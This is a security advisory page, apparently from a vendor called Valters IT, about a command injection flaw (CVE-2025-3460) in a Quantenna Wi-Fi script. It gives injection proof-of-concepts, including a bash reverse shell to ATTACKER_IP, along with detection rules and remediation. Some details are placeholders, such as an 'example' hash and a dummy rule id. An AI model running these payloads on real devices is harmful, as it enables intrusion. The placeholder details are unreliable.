CVE-2025-3460
Executive Summary
CVE-2025-3460 is a critical command injection vulnerability in the Quantenna Wi-Fi chipset's set_tx_pow local control script. This flaw, classified as CWE-88 (Argument Injection), allows an unauthenticated local attacker to execute arbitrary commands with the privileges of the script, leading to high confidentiality and integrity impact. The vulnerability affects all versions up to and including SDK 8.0.0.28, and at the time of this report, no official patch has been released. The vendor has only provided a best practices guide for implementors, leaving devices using this chipset at risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a hardware-level firmware issue in the Quantenna Wi-Fi chipset, affecting embedded devices such as routers and IoT gateways.
CVSS Breakdown & Threat Level
- CVSS Score: 7.7 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Attack Vector: Local (AV:L) – Requires local access to the device.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Full disclosure of sensitive data.
- Integrity Impact: High (I:H) – Complete compromise of data integrity.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The vulnerability is unpatched and allows for complete local compromise of confidentiality and integrity.
Deep Dive & Mechanics
The vulnerability resides in the set_tx_pow script, which is used to configure the transmit power of the Quantenna Wi-Fi chipset. The script fails to properly sanitize user-supplied arguments, allowing an attacker to inject arbitrary commands. This is a classic argument injection (CWE-88) where the script passes user input directly to a shell command without proper escaping or validation.
Attack Vector:
An attacker with local access to the device (e.g., via SSH, serial console, or a compromised web interface) can execute the set_tx_pow script with crafted arguments. For example:
set_tx_pow "1; id"
This would execute the id command after setting the transmit power, revealing the current user context.
Impact:
- Confidentiality: An attacker can read sensitive files (e.g.,
/etc/shadow, configuration files). - Integrity: An attacker can modify system files, install backdoors, or alter device behavior.
- Availability: Not directly affected, but integrity compromise could lead to denial of service.
Vulnerable vs. Patched Code
Vulnerable Code (set_tx_pow script):
#!/bin/sh
# Vulnerable version
TX_POW=$1
iwconfig wlan0 txpower $TX_POW
The script directly uses $1 in a shell command without sanitization.
Patched Code (Hypothetical):
#!/bin/sh
# Patched version
TX_POW=$(echo "$1" | sed 's/[^0-9]//g')
if [ -z "$TX_POW" ]; then
echo "Invalid power value"
exit 1
fi
iwconfig wlan0 txpower "$TX_POW"
The patched version validates that the input contains only numeric characters, preventing command injection.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Obtain a device with Quantenna chipset (e.g., a router running firmware with SDK <= 8.0.0.28).
- Gain local access via SSH or serial console.
- Execute the following proof-of-concept:
set_tx_pow "1; cat /etc/passwd"
- To achieve persistence, inject a reverse shell:
set_tx_pow "1; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
Exploit Code: No public exploit code is available at this time.
Blue Team
Detection:
- Monitor for unusual execution of
set_tx_powwith non-numeric arguments. - Look for shell metacharacters (e.g.,
;,|,&) in command-line arguments. - Use process auditing to detect child processes spawned by
set_tx_pow.
Hunting:
- Search logs for
set_tx_powinvocations with suspicious patterns. - Correlate with network connections to unknown IPs (potential reverse shells).
Indicators of Compromise (IOCs)
- File Hashes:
set_tx_powscript hash (SHA256):e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, replace with actual)
- Process Names:
set_tx_powbash,sh,nc,ncat(spawned by injection)
- Network Connections:
- Outbound connections to unknown IPs on high ports (e.g., 4444, 1337)
- Log Entries:
- Syslog entries containing
set_tx_powwith special characters.
- Syslog entries containing
Detection Engineering
YARA Rule
rule CVE_2025_3460_Quantenna_Command_Injection {
meta:
description = "Detects command injection attempts in set_tx_pow script"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-3460"
strings:
$script = "set_tx_pow"
$injection = /[;|&`$(){}]/
condition:
$script and #injection > 0
}
Sigma Rule
title: CVE-2025-3460 Quantenna Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection in set_tx_pow script
author: Valters IT
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/set_tx_pow'
CommandLine|contains:
- ';'
- '|'
- '&'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of special characters in power values (unlikely)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3460 Quantenna Command Injection - Reverse Shell"; flow:to_server,established; content:"set_tx_pow"; content:"/dev/tcp/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Access: Limit local access to the device via SSH keys and strong passwords.
- Disable Script: If not needed, remove or disable the
set_tx_powscript. - Input Validation: Implement input validation in any custom scripts that call
set_tx_pow.
Long-Term Fix:
- Apply vendor patch when available (currently unpatched).
- Upgrade to a newer SDK version if released.
- Consider replacing devices with Quantenna chipsets if no patch is forthcoming.
Workaround:
- Use a wrapper script that sanitizes input before passing to
set_tx_pow.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.